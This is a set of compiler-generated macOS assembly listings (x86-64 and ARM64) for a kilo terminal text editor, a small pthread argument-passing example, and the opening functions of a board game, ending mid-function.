popq %rbp
retq
.cfi_endproc
## -- End function
.globl _initEditor ## -- Begin function initEditor
.p2align 4, 0x90
_initEditor: ## @initEditor
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $0, _E(%rip)
movl $0, _E+4(%rip)
movl $0, _E+8(%rip)
movl $0, _E+12(%rip)
movl $0, _E+24(%rip)
movq $0, _E+32(%rip)
movl $0, _E+40(%rip)
movq $0, _E+48(%rip)
movq $0, _E+144(%rip)
xorl %edi, %edi
movl $1, %esi
leaq _E(%rip), %rcx
movq %rcx, %rdx
addq $16, %rdx
addq $20, %rcx
callq _getWindowSize
cmpl $-1, %eax
jne LBB33_2
## %bb.1:
leaq L_.str.54(%rip), %rdi
callq _perror
movl $1, %edi
callq _exit
LBB33_2:
movl _E+16(%rip), %eax
subl $2, %eax
movl %eax, _E+16(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
cmpl $2, -8(%rbp)
je LBB34_2
## %bb.1:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.55(%rip), %rsi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _fprintf
movl $1, %edi
callq _exit
LBB34_2:
callq _initEditor
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _editorSelectSyntaxHighlight
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _editorOpen
xorl %edi, %edi
callq _enableRawMode
leaq L_.str.56(%rip), %rdi
movb $0, %al
callq _editorSetStatusMessage
LBB34_3: ## =>This Inner Loop Header: Depth=1
callq _editorRefreshScreen
xorl %edi, %edi
callq _editorProcessKeypress
jmp LBB34_3
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz ".c"
L_.str.1: ## @.str.1
.asciz ".cpp"
.section __DATA,__data
.globl _C_HL_extensions ## @C_HL_extensions
.p2align 4
_C_HL_extensions:
.quad L_.str
.quad L_.str.1
.quad 0
.section __TEXT,__cstring,cstring_literals
L_.str.2: ## @.str.2
.asciz "switch"
L_.str.3: ## @.str.3
.asciz "if"
L_.str.4: ## @.str.4
.asciz "while"
L_.str.5: ## @.str.5
.asciz "for"
L_.str.6: ## @.str.6
.asciz "break"
L_.str.7: ## @.str.7
.asciz "continue"
L_.str.8: ## @.str.8
.asciz "return"
L_.str.9: ## @.str.9
.asciz "else"
L_.str.10: ## @.str.10
.asciz "struct"
L_.str.11: ## @.str.11
.asciz "union"
L_.str.12: ## @.str.12
.asciz "typedef"
L_.str.13: ## @.str.13
.asciz "static"
L_.str.14: ## @.str.14
.asciz "enum"
L_.str.15: ## @.str.15
.asciz "class"
L_.str.16: ## @.str.16
.asciz "int|"
L_.str.17: ## @.str.17
.asciz "long|"
L_.str.18: ## @.str.18
.asciz "double|"
L_.str.19: ## @.str.19
.asciz "float|"
L_.str.20: ## @.str.20
.asciz "char|"
L_.str.21: ## @.str.21
.asciz "unsigned|"
L_.str.22: ## @.str.22
.asciz "signed|"
L_.str.23: ## @.str.23
.asciz "void|"
.section __DATA,__data
.globl _C_HL_keywords ## @C_HL_keywords
.p2align 4
_C_HL_keywords:
.quad L_.str.2
.quad L_.str.3
.quad L_.str.4
.quad L_.str.5
.quad L_.str.6
.quad L_.str.7
.quad L_.str.8
.quad L_.str.9
.quad L_.str.10
.quad L_.str.11
.quad L_.str.12
.quad L_.str.13
.quad L_.str.14
.quad L_.str.15
.quad L_.str.16
.quad L_.str.17
.quad L_.str.18
.quad L_.str.19
.quad L_.str.20
.quad L_.str.21
.quad L_.str.22
.quad L_.str.23
.quad 0
.globl _HLDB ## @HLDB
.p2align 4
_HLDB:
.quad _C_HL_extensions
.quad _C_HL_keywords
.space 2,47
.asciz "/*"
.asciz "*/"
.long 3 ## 0x3
.space 4
.zerofill __DATA,__bss,_E,152,3 ## @E
.zerofill __DATA,__bss,_orig_termios,72,3 ## @orig_termios
.section __TEXT,__cstring,cstring_literals
L_.str.24: ## @.str.24
.asciz "\033[6n"
L_.str.25: ## @.str.25
.asciz "%d;%d"
L_.str.26: ## @.str.26
.asciz "\033[999C\033[999B"
L_.str.27: ## @.str.27
.asciz "\033[%d;%dH"
L_.str.28: ## @.str.28
.asciz ",.()+-/*=~%[];"
L_.str.29: ## @.str.29
.space 1
L_.str.30: ## @.str.30
.asciz "r"
L_.str.31: ## @.str.31
.asciz "Opening file"
L_.str.32: ## @.str.32
.asciz "%d bytes written on disk"
L_.str.33: ## @.str.33
.asciz "Can't save! I/O error: %s"
L_.str.34: ## @.str.34
.asciz "\033[?25l"
L_.str.35: ## @.str.35
.asciz "\033[H"
L_.str.36: ## @.str.36
.asciz "Kilo editor -- verison %s\033[0K\r\n"
L_.str.37: ## @.str.37
.asciz "0.0.1"
L_.str.38: ## @.str.38
.asciz "~"
L_.str.39: ## @.str.39
.asciz " "
L_.str.40: ## @.str.40
.asciz "~\033[0K\r\n"
L_.str.41: ## @.str.41
.asciz "\033[7m"
L_.str.42: ## @.str.42
.asciz "\033[0m"
L_.str.43: ## @.str.43
.asciz "\033[39m"
L_.str.44: ## @.str.44
.asciz "\033[%dm"
L_.str.45: ## @.str.45
.asciz "\033[0K"
L_.str.46: ## @.str.46
.asciz "\r\n"
L_.str.47: ## @.str.47
.asciz "%.20s - %d lines %s"
L_.str.48: ## @.str.48
.asciz "(modified)"
L_.str.49: ## @.str.49
.asciz "%d/%d"
L_.str.50: ## @.str.50
.asciz "\033[0m\r\n"
L_.str.51: ## @.str.51
.asciz "\033[?25h"
L_.str.52: ## @.str.52
.asciz "Search: %s (Use ESC/Arrows/Enter)"
.section __DATA,__data
.p2align 2 ## @editorProcessKeypress.quit_times
_editorProcessKeypress.quit_times:
.long 3 ## 0x3
.section __TEXT,__cstring,cstring_literals
L_.str.53: ## @.str.53
.asciz "WARNING!!! File has unsaved changes. Press Ctrl-Q %d more times to quit."
L_.str.54: ## @.str.54
.asciz "Unable to query the screen for size (columns / rows)"
L_.str.55: ## @.str.55
.asciz "Usage: kilo <filename>\n"
L_.str.56: ## @.str.56
.asciz "HELP: Ctrl-S = save | Ctrl-Q = quit | Ctrl-F = find"
.subsections_via_symbols
| the_stack_data/154827862.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
mov x0, sp
bl _createThread
ldr x0, [sp]
mov x1, #0
bl _pthread_join
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
bl ___stack_chk_fail
LBB0_2:
mov w0, #0
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.globl _createThread ; -- Begin function createThread
.p2align 2
_createThread: ; @createThread
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
str x0, [sp, #16]
add x0, sp, #24
str x0, [sp] ; 8-byte Folded Spill
bl _pthread_attr_init
mov x0, #4
bl _malloc
ldr x1, [sp] ; 8-byte Folded Reload
str x0, [sp, #8]
ldr x9, [sp, #8]
mov w8, #100
str w8, [x9]
ldr x0, [sp, #16]
ldr x3, [sp, #8]
adrp x2, _threadFunction@PAGE
add x2, x2, _threadFunction@PAGEOFF
bl _pthread_create
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
bl ___stack_chk_fail
LBB1_2:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.globl _threadFunction ; -- Begin function threadFunction
.p2align 2
_threadFunction: ; @threadFunction
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
mov w0, #1
bl _sleep
ldur x8, [x29, #-8]
ldr w8, [x8]
stur w8, [x29, #-12]
ldur w9, [x29, #-12]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldur x0, [x29, #-8]
bl _free
mov x0, #0
bl _pthread_exit
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "the number passed to me is %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $80, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
leaq -80(%rbp), %rdi
callq _createThread
movq -80(%rbp), %rdi
xorl %eax, %eax
movl %eax, %esi
callq _pthread_join
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_2
## %bb.1:
xorl %eax, %eax
addq $80, %rsp
popq %rbp
retq
LBB0_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _createThread ## -- Begin function createThread
.p2align 4, 0x90
_createThread: ## @createThread
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq %rdi, -80(%rbp)
leaq -72(%rbp), %rdi
callq _pthread_attr_init
movl $4, %edi
callq _malloc
movq %rax, -88(%rbp)
movq -88(%rbp), %rax
movl $100, (%rax)
movq -80(%rbp), %rdi
movq -88(%rbp), %rcx
leaq -72(%rbp), %rsi
leaq _threadFunction(%rip), %rdx
callq _pthread_create
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB1_2
## %bb.1:
addq $96, %rsp
popq %rbp
retq
LBB1_2:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _threadFunction ## -- Begin function threadFunction
.p2align 4, 0x90
_threadFunction: ## @threadFunction
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movq %rdi, -8(%rbp)
movl $1, %edi
callq _sleep
movq -8(%rbp), %rax
movl (%rax), %eax
movl %eax, -12(%rbp)
movl -12(%rbp), %esi
leaq L_.str(%rip), %rdi
xorl %eax, %eax
movl %eax, -16(%rbp) ## 4-byte Spill
callq _printf
movq -8(%rbp), %rdi
callq _free
movl -16(%rbp), %eax ## 4-byte Reload
movl %eax, %edi
callq _pthread_exit
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "the number passed to me is %d\n"
.subsections_via_symbols
| the_stack_data/212643317.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _pause ; -- Begin function pause
.p2align 2
_pause: ; @pause
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.globl _error ; -- Begin function error
.p2align 2
_error: ; @error
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
adrp x8, ___stderrp@GOTPAGE
ldr x8, [x8, ___stderrp@GOTPAGEOFF]
ldr x0, [x8]
ldr x8, [sp, #8]
mov x9, sp
str x8, [x9]
adrp x1, l_.str@PAGE
add x1, x1, l_.str@PAGEOFF
bl _fprintf
bl _pause
mov w0, #1
bl _exit
.cfi_endproc
; -- End function
.globl _opteq ; -- Begin function opteq
.p2align 2
_opteq: ; @opteq
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
str x1, [sp, #16]
str wzr, [sp, #12]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #58
cset w8, eq
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-8]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, eq
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB2_6
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-8]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB2_6
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB2_6
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldur x8, [x29, #-8]
ldrsw x9, [sp, #12]
ldrsb w0, [x8, x9]
bl _tolower
str w0, [sp, #4] ; 4-byte Folded Spill
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldrsb w0, [x8, x9]
bl _tolower
mov x8, x0
ldr w0, [sp, #4] ; 4-byte Folded Reload
subs w8, w0, w8
cset w8, eq
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #8] ; 4-byte Folded Reload
tbz w8, #0, LBB2_8
b LBB2_7
LBB2_7: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB2_1
LBB2_8:
ldur x8, [x29, #-8]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #58
cset w8, ne
mov w9, #0
str w9, [sp] ; 4-byte Folded Spill
tbnz w8, #0, LBB2_10
b LBB2_9
LBB2_9:
ldr x8, [sp, #16]
ldrsw x9, [sp, #12]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
str w8, [sp] ; 4-byte Folded Spill
b LBB2_10
LBB2_10:
ldr w8, [sp] ; 4-byte Folded Reload
and w0, w8, #0x1
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _valeq ; -- Begin function valeq
.p2align 2
_valeq: ; @valeq
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur x1, [x29, #-16]
stur wzr, [x29, #-20]
str wzr, [sp, #24]
b LBB3_1
LBB3_1: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, ne
tbnz w8, #0, LBB3_3
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB3_1
LBB3_3:
b LBB3_4
LBB3_4: ; =>This Inner Loop Header: Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #24]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #20] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_9
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_4 Depth=1
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, eq
mov w9, #0
str w9, [sp, #20] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_9
b LBB3_6
LBB3_6: ; in Loop: Header=BB3_4 Depth=1
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, eq
mov w9, #0
str w9, [sp, #20] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_9
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_4 Depth=1
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
mov w9, #0
str w9, [sp, #20] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_9
b LBB3_8
LBB3_8: ; in Loop: Header=BB3_4 Depth=1
ldur x8, [x29, #-16]
ldrsw x9, [sp, #24]
ldrsb w0, [x8, x9]
bl _tolower
str w0, [sp, #16] ; 4-byte Folded Spill
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w0, [x8, x9]
bl _tolower
mov x8, x0
ldr w0, [sp, #16] ; 4-byte Folded Reload
subs w8, w0, w8
cset w8, eq
str w8, [sp, #20] ; 4-byte Folded Spill
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_4 Depth=1
ldr w8, [sp, #20] ; 4-byte Folded Reload
tbz w8, #0, LBB3_11
b LBB3_10
LBB3_10: ; in Loop: Header=BB3_4 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB3_4
LBB3_11:
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, eq
tbnz w8, #0, LBB3_13
b LBB3_12
LBB3_12:
ldur x8, [x29, #-8]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, ne
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_14
b LBB3_13
LBB3_13:
ldur x8, [x29, #-16]
ldrsw x9, [sp, #24]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB3_14
LBB3_14:
ldr w8, [sp, #12] ; 4-byte Folded Reload
and w0, w8, #0x1
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _clearboard ; -- Begin function clearboard
.p2align 2
_clearboard: ; @clearboard
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x8, _size@GOTPAGE
ldr x8, [x8, _size@GOTPAGEOFF]
ldr w8, [x8]
adrp x9, _closed_cells@GOTPAGE
ldr x9, [x9, _closed_cells@GOTPAGEOFF]
str w8, [x9]
str wzr, [sp, #28]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #28]
adrp x9, _size@GOTPAGE
ldr x9, [x9, _size@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_4
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr x8, [x9]
ldrsw x10, [sp, #28]
mov x11, #56
str x11, [sp, #8] ; 8-byte Folded Spill
mul x10, x10, x11
add x10, x8, x10
mov w8, #0
str wzr, [x10, #12]
ldr x10, [x9]
ldrsw x12, [sp, #28]
mul x12, x12, x11
add x10, x10, x12
str wzr, [x10, #8]
ldr x10, [x9]
ldrsw x12, [sp, #28]
mul x12, x12, x11
add x10, x10, x12
str wzr, [x10, #4]
ldr x10, [x9]
ldrsw x12, [sp, #28]
mul x12, x12, x11
add x10, x10, x12
str wzr, [x10, #44]
ldr x10, [x9]
ldrsw x12, [sp, #28]
mul x12, x12, x11
add x10, x10, x12
str wzr, [x10, #48]
ldr x10, [x9]
ldrsw x12, [sp, #28]
mul x12, x12, x11
add x10, x10, x12
str wzr, [x10, #40]
ldr x10, [x9]
ldrsw x12, [sp, #28]
mul x12, x12, x11
add x10, x10, x12
str wzr, [x10, #36]
ldr x9, [x9]
ldrsw x10, [sp, #28]
mul x10, x10, x11
str w8, [x9, x10]
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB4_1
LBB4_4:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _restartboard ; -- Begin function restartboard
.p2align 2
_restartboard: ; @restartboard
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
adrp x8, _size@GOTPAGE
ldr x8, [x8, _size@GOTPAGEOFF]
ldr w8, [x8]
adrp x9, _closed_cells@GOTPAGE
ldr x9, [x9, _closed_cells@GOTPAGEOFF]
str w8, [x9]
str wzr, [sp, #12]
b LBB5_1
LBB5_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
adrp x9, _size@GOTPAGE
ldr x9, [x9, _size@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_4
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
ldr x8, [sp] ; 8-byte Folded Reload
ldr x9, [x8]
ldrsw x11, [sp, #12]
mov x10, #56
mul x11, x11, x10
add x9, x9, x11
str wzr, [x9, #48]
ldr x9, [x8]
ldrsw x11, [sp, #12]
mul x11, x11, x10
add x9, x9, x11
str wzr, [x9, #44]
ldr x9, [x8]
ldrsw x11, [sp, #12]
mul x11, x11, x10
add x9, x9, x11
str wzr, [x9, #40]
ldr x8, [x8]
ldrsw x9, [sp, #12]
mul x9, x9, x10
add x8, x8, x9
str wzr, [x8, #36]
b LBB5_3
LBB5_3: ; in Loop: Header=BB5_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB5_1
LBB5_4:
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _getnumber ; -- Begin function getnumber
.p2align 2
_getnumber: ; @getnumber
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp, #8] ; 8-byte Folded Spill
str w0, [sp, #28]
str wzr, [sp, #16]
ldr x8, [x8]
ldrsw x9, [sp, #28]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
str w8, [sp, #24]
b LBB6_1
LBB6_1: ; =>This Loop Header: Depth=1
; Child Loop BB6_3 Depth 2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #24]
ldr x9, [x9]
ldrsw x10, [sp, #28]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #24]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB6_8
b LBB6_2
LBB6_2: ; in Loop: Header=BB6_1 Depth=1
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #28]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #28]
str w8, [sp, #20]
b LBB6_3
LBB6_3: ; Parent Loop BB6_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #8] ; 8-byte Folded Reload
ldr w8, [sp, #20]
ldr x9, [x9]
ldrsw x10, [sp, #28]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #32]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB6_6
b LBB6_4
LBB6_4: ; in Loop: Header=BB6_3 Depth=2
ldr x8, [sp, #8] ; 8-byte Folded Reload
ldr x8, [x8]
ldr w9, [sp, #20]
adrp x10, _h@GOTPAGE
ldr x10, [x10, _h@GOTPAGEOFF]
ldr w10, [x10]
mul w9, w9, w10
ldr w10, [sp, #24]
add w9, w9, w10
mov w10, #56
smull x9, w9, w10
ldr w9, [x8, x9]
ldr w8, [sp, #16]
add w8, w8, w9
str w8, [sp, #16]
b LBB6_5
LBB6_5: ; in Loop: Header=BB6_3 Depth=2
ldr w8, [sp, #20]
add w8, w8, #1
str w8, [sp, #20]
b LBB6_3
LBB6_6: ; in Loop: Header=BB6_1 Depth=1
b LBB6_7
LBB6_7: ; in Loop: Header=BB6_1 Depth=1
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB6_1
LBB6_8:
ldr w0, [sp, #16]
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _set_opening_border ; -- Begin function set_opening_border
.p2align 2
_set_opening_border: ; @set_opening_border
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
str w0, [sp, #12]
str w1, [sp, #8]
ldr x8, [x8]
ldrsw x9, [sp, #8]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB7_2
b LBB7_1
LBB7_1:
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #12]
ldr x9, [x9]
ldrsw x10, [sp, #8]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
str w8, [x9, #4]
b LBB7_5
LBB7_2:
ldr x8, [sp] ; 8-byte Folded Reload
ldr x8, [x8]
ldrsw x9, [sp, #8]
mov x10, #56
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #4]
ldr w9, [sp, #12]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB7_4
b LBB7_3
LBB7_3:
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #12]
ldr x9, [x9]
ldrsw x10, [sp, #8]
mov x11, #56
mul x10, x10, x11
add x9, x9, x10
str w8, [x9, #8]
b LBB7_4
LBB7_4:
b LBB7_5
LBB7_5:
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _process_opening ; -- Begin function process_opening
.p2align 2
_process_opening: ; @process_opening
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _board@GOTPAGE
ldr x8, [x8, _board@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
stur w0, [x29, #-4]
stur w1, [x29, #-8]
ldursw x10, [x29, #-4]
adrp x9, _size_ops@GOTPAGE
ldr x9, [x9, _size_ops@GOTPAGEOFF]
add x10, x9, x10, lsl #2
ldr w9, [x10]
add w9, w9, #1
str w9, [x10]
ldur w9, [x29, #-4]
ldr x11, [x8]
ldursw x12, [x29, #-8]
mov x10, #56
mul x12, x12, x10
add x11, x11, x12
str w9, [x11, #4]
ldr x8, [x8]
ldursw x9, [x29, #-8]
mul x9, x9, x10
add x8, x8, x9
ldr w8, [x8, #20]
stur w8, [x29, #-12]
b LBB8_1
LBB8_1: ; =>This Loop Header: Depth=1
; Child Loop BB8_3 Depth 2
ldr x9, [sp] ; 8-byte Folded Reload
ldur w8, [x29, #-12]
ldr x9, [x9]
